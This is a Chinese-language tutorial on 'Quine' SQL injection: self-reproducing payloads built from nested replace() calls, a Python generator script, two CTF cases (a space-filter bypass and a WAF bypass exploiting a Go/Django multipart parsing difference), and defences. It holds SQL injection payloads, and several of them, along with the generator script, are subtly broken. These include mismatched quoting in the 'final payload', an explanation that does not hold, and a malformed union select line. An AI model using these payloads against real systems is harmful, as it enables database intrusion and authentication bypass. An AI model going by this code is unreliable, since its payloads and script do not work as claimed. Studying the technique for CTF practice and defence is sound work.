quine注入学习
字数 1290 2025-08-29 08:30:13
Quine注入技术详解
1. Quine注入概述
Quine注入是一种特殊的SQL注入技术,其核心思想是利用自生成代码(Quine)的特性,构造一个Payload,使得注入的SQL代码在执行时能够自我复制或自我生成,实现输入输出一致,从而绕过各种安全限制。
2. 基础概念与函数
2.1 replace()函数
Quine注入主要依赖于SQL中的replace()函数,其语法如下:
replace(str, from_str, to_str)
参数说明:
str:原始字符串,需要进行替换的字符串from_str:需要被替换的子字符串to_str:替换后的新子字符串
如果from_str不存在于str中,则返回原始字符串。
2.2 ASCII字符表示
在构造Quine时,常用ASCII字符的数值表示:
char(46)表示.char(34)表示"(双引号)char(39)表示'(单引号)
3. Quine构造原理
3.1 基本构造过程
- 初始构造:
replace(".",char(46),".")
这个语句会返回.,因为将.替换为.(即不变)
- 进一步替换:
replace("replace(\".\",char(46),\".\")",".",char(46))
这个语句将replace(".",char(46),".")中的.替换为char(46),结果接近原始输入
3.2 解决引号问题
初始构造存在单双引号不一致的问题,解决方案:
replace(replace('.',char(39),replace('.',char(46),'.')),'.',char(46))
解析:
- 内层
replace('.',char(46),'.')返回'.' - 外层将
'.'中的'替换为replace('.',char(46),'.'),即'.' - 最终返回
'.',解决了引号不一致问题
3.3 最终Payload
完整的Quine注入Payload形式:
replace(replace('replace(replace(\'.\',char(39),replace(\'.\',char(46),\'.\')),\'\',char(46))',char(39),replace('replace(replace(\'.\',char(39),replace(\'.\',char(46),\'.\')),\'\',char(46))',char(46),'replace(replace(\'.\',char(39),replace(\'.\',char(46),\'.\')),\'\',char(46))')),'\',char(46))
4. 实用脚本
以下是一个自动生成Quine注入Payload的Python脚本:
def generate_quine():
base = "replace('.',char(46),'.')"
step1 = f"replace({base},'.',char(46))"
step2 = f"replace('{step1}',char(39),'{step1}')"
step3 = f"replace({step2},'.',char(46))"
return step3
print(generate_quine())
5. 实际案例分析
5.1 [第五空间 2021]yet_another_mysql_injection
题目特点:
- 检查username是否为admin
- 过滤了大多数盲注函数
- 过滤了空格
- 对password进行强类型比较
解决方案:
使用Quine注入Payload,将空格替换为/**/等注释形式绕过过滤。
5.2 [TPCTF2025]supersqli
题目特点:
- 存在SQL注入漏洞
- 有严格的WAF过滤
- 存在解析差异可利用
绕过技巧:
- 利用Go和Django对multipart请求处理的差异:
- Go使用boundary分割
- Django使用Content-Disposition分割
- 构造特殊请求头绕过WAF检测
- 使用Quine注入Payload,确认为两列后使用:
1' union select 1,2,--+
6. 防御措施
针对Quine注入的防御建议:
- 使用参数化查询(预编译语句)
- 严格过滤和转义特殊字符
- 限制数据库函数的使用权限
- 实现多层次的WAF规则
- 统一不同组件对请求的解析方式
7. 参考资源
- SQL注入高级技巧:Quine注入
- OWASP SQL注入防御指南
- MySQL官方安全文档
通过深入理解Quine注入的原理和构造方法,安全研究人员可以更好地发现和防御这类高级SQL注入攻击。